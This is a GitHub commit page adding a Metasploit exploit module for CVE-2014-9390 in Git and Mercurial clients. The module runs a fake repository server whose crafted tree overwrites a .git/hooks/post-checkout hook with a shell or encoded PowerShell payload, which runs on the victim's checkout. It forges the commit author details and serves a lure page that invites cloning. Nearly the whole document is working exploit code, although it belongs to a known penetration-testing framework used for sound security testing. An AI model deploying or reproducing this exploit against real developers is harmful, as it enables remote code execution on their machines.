Skip to content

Commit c1718fa

Browse files
author
Tod Beardsley
committed
Land rapid7#4440, git client exploit from @jhart-r7
Also fixes rapid7#4435 and makes progress against rapid7#4445.
2 parents 2d6571c + d7564f4 commit c1718fa

File tree

1 file changed

+378
-0
lines changed

1 file changed

+378
-0
lines changed
Lines changed: 378 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,378 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit4 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpServer
12+
include Msf::Exploit::Powershell
13+
14+
def initialize(info = {})
15+
super(update_info(
16+
info,
17+
'Name' => 'Malicious Git and Mercurial HTTP Server For CVE-2014-9390',
18+
'Description' => %q(
19+
This module exploits CVE-2014-9390, which affects Git (versions less
20+
than 1.8.5.6, 1.9.5, 2.0.5, 2.1.4 and 2.2.1) and Mercurial (versions
21+
less than 3.2.3) and describes three vulnerabilities.
22+
23+
On operating systems which have case-insensitive file systems, like
24+
Windows and OS X, Git clients can be convinced to retrieve and
25+
overwrite sensitive configuration files in the .git
26+
directory which can allow arbitrary code execution if a vulnerable
27+
client can be convinced to perform certain actions (for example,
28+
a checkout) against a malicious Git repository.
29+
30+
A second vulnerability with similar characteristics also exists in both
31+
Git and Mercurial clients, on HFS+ file systems (Mac OS X) only, where
32+
certain Unicode codepoints are ignorable.
33+
34+
The third vulnerability with similar characteristics only affects
35+
Mercurial clients on Windows, where Windows "short names"
36+
(MS-DOS-compatible 8.3 format) are supported.
37+
38+
Today this module only truly supports the first vulnerability (Git
39+
clients on case-insensitive file systems) but has the functionality to
40+
support the remaining two with a little work.
41+
),
42+
'License' => MSF_LICENSE,
43+
'Author' => [
44+
'Jon Hart <jon_hart[at]rapid7.com>' # metasploit module
45+
],
46+
'References' =>
47+
[
48+
['CVE', '2014-9390'],
49+
['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/01/01/12-days-of-haxmas-exploiting-cve-2014-9390-in-git-and-mercurial'],
50+
['URL', 'http://git-blame.blogspot.com.es/2014/12/git-1856-195-205-214-and-221-and.html'],
51+
['URL', 'http://article.gmane.org/gmane.linux.kernel/1853266'],
52+
['URL', 'https://github.com/blog/1938-vulnerability-announced-update-your-git-clients'],
53+
['URL', 'https://www.mehmetince.net/one-git-command-may-cause-you-hacked-cve-2014-9390-exploitation-for-shell/'],
54+
['URL', 'http://mercurial.selenic.com/wiki/WhatsNew#Mercurial_3.2.3_.282014-12-18.29'],
55+
['URL', 'http://selenic.com/repo/hg-stable/rev/c02a05cc6f5e'],
56+
['URL', 'http://selenic.com/repo/hg-stable/rev/6dad422ecc5a']
57+
58+
],
59+
'DisclosureDate' => 'Dec 18 2014',
60+
'Targets' =>
61+
[
62+
[
63+
'Automatic',
64+
{
65+
'Platform' => [ 'unix' ],
66+
'Arch' => ARCH_CMD,
67+
'Payload' =>
68+
{
69+
'Compat' =>
70+
{
71+
'PayloadType' => 'cmd cmd_bash',
72+
'RequiredCmd' => 'generic bash-tcp perl bash'
73+
}
74+
}
75+
}
76+
],
77+
[
78+
'Windows Powershell',
79+
{
80+
'Platform' => [ 'windows' ],
81+
'Arch' => [ARCH_X86, ARCH_X86_64]
82+
}
83+
]
84+
],
85+
'DefaultTarget' => 0))
86+
87+
register_options(
88+
[
89+
OptBool.new('GIT', [true, 'Exploit Git clients', true])
90+
]
91+
)
92+
93+
register_advanced_options(
94+
[
95+
OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),
96+
OptString.new('MERCURIAL_URI', [false, 'The URI to use as the malicious Mercurial instance (empty for random)', '']),
97+
OptString.new('GIT_HOOK', [false, 'The Git hook to use for exploitation', 'post-checkout']),
98+
OptString.new('MERCURIAL_HOOK', [false, 'The Mercurial hook to use for exploitation', 'update']),
99+
OptBool.new('MERCURIAL', [false, 'Enable experimental Mercurial support', false])
100+
]
101+
)
102+
end
103+
104+
def setup
105+
# the exploit requires that we act enough like a real Mercurial HTTP instance,
106+
# so we keep a mapping of all of the files and the corresponding data we'll
107+
# send back along with a trigger file that signifies that the git/mercurial
108+
# client has fetched the malicious content.
109+
@repo_data = {
110+
git: { files: {}, trigger: nil },
111+
mercurial: { files: {}, trigger: nil }
112+
}
113+
114+
unless datastore['GIT'] || datastore['MERCURIAL']
115+
fail_with(Exploit::Failure::BadConfig, 'Must specify at least one GIT and/or MERCURIAL')
116+
end
117+
118+
setup_git
119+
setup_mercurial
120+
121+
super
122+
end
123+
124+
def setup_git
125+
return unless datastore['GIT']
126+
# URI must start with a /
127+
unless git_uri && git_uri =~ /^\//
128+
fail_with(Exploit::Failure::BadConfig, 'GIT_URI must start with a /')
129+
end
130+
# sanity check the malicious hook:
131+
if datastore['GIT_HOOK'].blank?
132+
fail_with(Exploit::Failure::BadConfig, 'GIT_HOOK must not be blank')
133+
end
134+
135+
# In .git/hooks/ directory, specially named files are shell scripts that
136+
# are executed when particular events occur. For example, if
137+
# .git/hooks/post-checkout was an executable shell script, a git client
138+
# would execute that file every time anything is checked out. There are
139+
# various other files that can be used to achieve similar goals but related
140+
# to committing, updating, etc.
141+
#
142+
# This vulnerability allows a specially crafted file to bypass Git's
143+
# blacklist and overwrite the sensitive .git/hooks/ files which can allow
144+
# arbitrary code execution if a vulnerable Git client can be convinced to
145+
# interact with a malicious Git repository.
146+
#
147+
# This builds a fake git repository using the knowledge from:
148+
#
149+
# http://schacon.github.io/gitbook/7_how_git_stores_objects.html
150+
# http://schacon.github.io/gitbook/7_browsing_git_objects.html
151+
case target.name
152+
when 'Automatic'
153+
full_cmd = "#!/bin/sh\n#{payload.encoded}\n"
154+
when 'Windows Powershell'
155+
psh = cmd_psh_payload(payload.encoded,
156+
payload_instance.arch.first,
157+
remove_comspec: true,
158+
encode_final_payload: true)
159+
full_cmd = "#!/bin/sh\n#{psh}"
160+
end
161+
162+
sha1, content = build_object('blob', full_cmd)
163+
trigger = "/objects/#{get_path(sha1)}"
164+
@repo_data[:git][:trigger] = trigger
165+
@repo_data[:git][:files][trigger] = content
166+
# build tree that points to the blob
167+
sha1, content = build_object('tree', "100755 #{datastore['GIT_HOOK']}\0#{[sha1].pack('H*')}")
168+
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
169+
# build a tree that points to the hooks directory in which the hook lives, called hooks
170+
sha1, content = build_object('tree', "40000 hooks\0#{[sha1].pack('H*')}")
171+
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
172+
# build a tree that points to the partially uppercased .git directory in
173+
# which hooks live
174+
variants = []
175+
%w(g G). each do |g|
176+
%w(i I).each do |i|
177+
%w(t T).each do |t|
178+
git = g + i + t
179+
variants << git unless git.chars.none? { |c| c == c.upcase }
180+
end
181+
end
182+
end
183+
git_dir = '.' + variants.sample
184+
sha1, content = build_object('tree', "40000 #{git_dir}\0#{[sha1].pack('H*')}")
185+
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
186+
# build the supposed commit that dropped this file, which has a random user/company
187+
email = Rex::Text.rand_mail_address
188+
first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten
189+
full_name = "#{first.capitalize} #{last.capitalize}"
190+
tstamp = Time.now.to_i
191+
author_time = rand(tstamp)
192+
commit_time = rand(author_time)
193+
tz_off = rand(10)
194+
commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \
195+
"committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \
196+
"\n" \
197+
"Initial commit to open git repository for #{company}!\n"
198+
if datastore['VERBOSE']
199+
vprint_status("Malicious Git commit of #{git_dir}/#{datastore['GIT_HOOK']} is:")
200+
commit.each_line { |l| vprint_status(l.strip) }
201+
end
202+
sha1, content = build_object('commit', "tree #{sha1}\n#{commit}")
203+
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
204+
# build HEAD
205+
@repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
206+
# lastly, build refs
207+
@repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n"
208+
end
209+
210+
def setup_mercurial
211+
return unless datastore['MERCURIAL']
212+
# URI must start with a /
213+
unless mercurial_uri && mercurial_uri =~ /^\//
214+
fail_with(Exploit::Failure::BadConfig, 'MERCURIAL_URI must start with a /')
215+
end
216+
# sanity check the malicious hook
217+
if datastore['MERCURIAL_HOOK'].blank?
218+
fail_with(Exploit::Failure::BadConfig, 'MERCURIAL_HOOK must not be blank')
219+
end
220+
# we fake the Mercurial HTTP protocol such that we are compliant as possible but
221+
# also as simple as possible so that we don't have to support all of the protocol
222+
# complexities. Taken from:
223+
# http://mercurial.selenic.com/wiki/HttpCommandProtocol
224+
# http://selenic.com/hg/file/tip/mercurial/wireproto.py
225+
@repo_data[:mercurial][:files]['?cmd=capabilities'] = 'heads getbundle=HG10UN'
226+
fake_sha1 = 'e6c39c507d7079cfff4963a01ea3a195b855d814'
227+
@repo_data[:mercurial][:files]['?cmd=heads'] = "#{fake_sha1}\n"
228+
# TODO: properly bundle this using the information in http://mercurial.selenic.com/wiki/BundleFormat
229+
@repo_data[:mercurial][:files]["?cmd=getbundle&common=#{'0' * 40}&heads=#{fake_sha1}"] = Zlib::Deflate.deflate("HG10UNfoofoofoo")
230+
231+
# TODO: finish building the fake repository
232+
end
233+
234+
# Build's a Git object
235+
def build_object(type, content)
236+
# taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html
237+
header = "#{type} #{content.size}\0"
238+
store = header + content
239+
[Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)]
240+
end
241+
242+
# Returns the Git object path name that a file with the provided SHA1 will reside in
243+
def get_path(sha1)
244+
sha1[0...2] + '/' + sha1[2..40]
245+
end
246+
247+
def exploit
248+
super
249+
end
250+
251+
def primer
252+
# add the git and mercurial URIs as necessary
253+
if datastore['GIT']
254+
hardcoded_uripath(git_uri)
255+
print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}")
256+
end
257+
if datastore['MERCURIAL']
258+
hardcoded_uripath(mercurial_uri)
259+
print_status("Malicious Mercurial URI is #{URI.parse(get_uri).merge(mercurial_uri)}")
260+
end
261+
end
262+
263+
# handles routing any request to the mock git, mercurial or simple HTML as necessary
264+
def on_request_uri(cli, req)
265+
# if the URI is one of our repositories and the user-agent is that of git/mercurial
266+
# send back the appropriate data, otherwise just show the HTML version
267+
if (user_agent = req.headers['User-Agent'])
268+
if datastore['GIT'] && user_agent =~ /^git\// && req.uri.start_with?(git_uri)
269+
do_git(cli, req)
270+
return
271+
elsif datastore['MERCURIAL'] && user_agent =~ /^mercurial\// && req.uri.start_with?(mercurial_uri)
272+
do_mercurial(cli, req)
273+
return
274+
end
275+
end
276+
277+
do_html(cli, req)
278+
end
279+
280+
# simulates a Git HTTP server
281+
def do_git(cli, req)
282+
# determine if the requested file is something we know how to serve from our
283+
# fake repository and send it if so
284+
req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '')
285+
if @repo_data[:git][:files].key?(req_file)
286+
vprint_status("Sending Git #{req_file}")
287+
send_response(cli, @repo_data[:git][:files][req_file])
288+
if req_file == @repo_data[:git][:trigger]
289+
vprint_status("Trigger!")
290+
# Do we need this? If so, how can I update the payload which is in a file which
291+
# has already been built?
292+
# regenerate_payload
293+
handler(cli)
294+
end
295+
else
296+
vprint_status("Git #{req_file} doesn't exist")
297+
send_not_found(cli)
298+
end
299+
end
300+
301+
# simulates an HTTP server with simple HTML content that lists the fake
302+
# repositories available for cloning
303+
def do_html(cli, _req)
304+
resp = create_response
305+
resp.body = <<HTML
306+
<html>
307+
<head><title>Public Repositories</title></head>
308+
<body>
309+
<p>Here are our public repositories:</p>
310+
<ul>
311+
HTML
312+
313+
if datastore['GIT']
314+
this_git_uri = URI.parse(get_uri).merge(git_uri)
315+
resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>"
316+
else
317+
resp.body << "<li><a>Git</a> (currently offline)</li>"
318+
end
319+
320+
if datastore['MERCURIAL']
321+
this_mercurial_uri = URI.parse(get_uri).merge(mercurial_uri)
322+
resp.body << "<li><a href=#{mercurial_uri}>Mercurial</a> (clone with `hg clone #{this_mercurial_uri}`)</li>"
323+
else
324+
resp.body << "<li><a>Mercurial</a> (currently offline)</li>"
325+
end
326+
resp.body << <<HTML
327+
</ul>
328+
</body>
329+
</html>
330+
HTML
331+
332+
cli.send_response(resp)
333+
end
334+
335+
# simulates a Mercurial HTTP server
336+
def do_mercurial(cli, req)
337+
# determine if the requested file is something we know how to serve from our
338+
# fake repository and send it if so
339+
uri = URI.parse(req.uri)
340+
req_path = uri.path
341+
req_path += "?#{uri.query}" if uri.query
342+
req_path.gsub!(/^#{mercurial_uri}/, '')
343+
if @repo_data[:mercurial][:files].key?(req_path)
344+
vprint_status("Sending Mercurial #{req_path}")
345+
send_response(cli, @repo_data[:mercurial][:files][req_path], 'Content-Type' => 'application/mercurial-0.1')
346+
if req_path == @repo_data[:mercurial][:trigger]
347+
vprint_status("Trigger!")
348+
# Do we need this? If so, how can I update the payload which is in a file which
349+
# has already been built?
350+
# regenerate_payload
351+
handler(cli)
352+
end
353+
else
354+
vprint_status("Mercurial #{req_path} doesn't exist")
355+
send_not_found(cli)
356+
end
357+
end
358+
359+
# Returns the value of GIT_URI if not blank, otherwise returns a random .git URI
360+
def git_uri
361+
return @git_uri if @git_uri
362+
if datastore['GIT_URI'].blank?
363+
@git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git'
364+
else
365+
@git_uri = datastore['GIT_URI']
366+
end
367+
end
368+
369+
# Returns the value of MERCURIAL_URI if not blank, otherwise returns a random URI
370+
def mercurial_uri
371+
return @mercurial_uri if @mercurial_uri
372+
if datastore['MERCURIAL_URI'].blank?
373+
@mercurial_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 6).downcase
374+
else
375+
@mercurial_uri = datastore['MERCURIAL_URI']
376+
end
377+
end
378+
end

0 commit comments

Comments
 (0)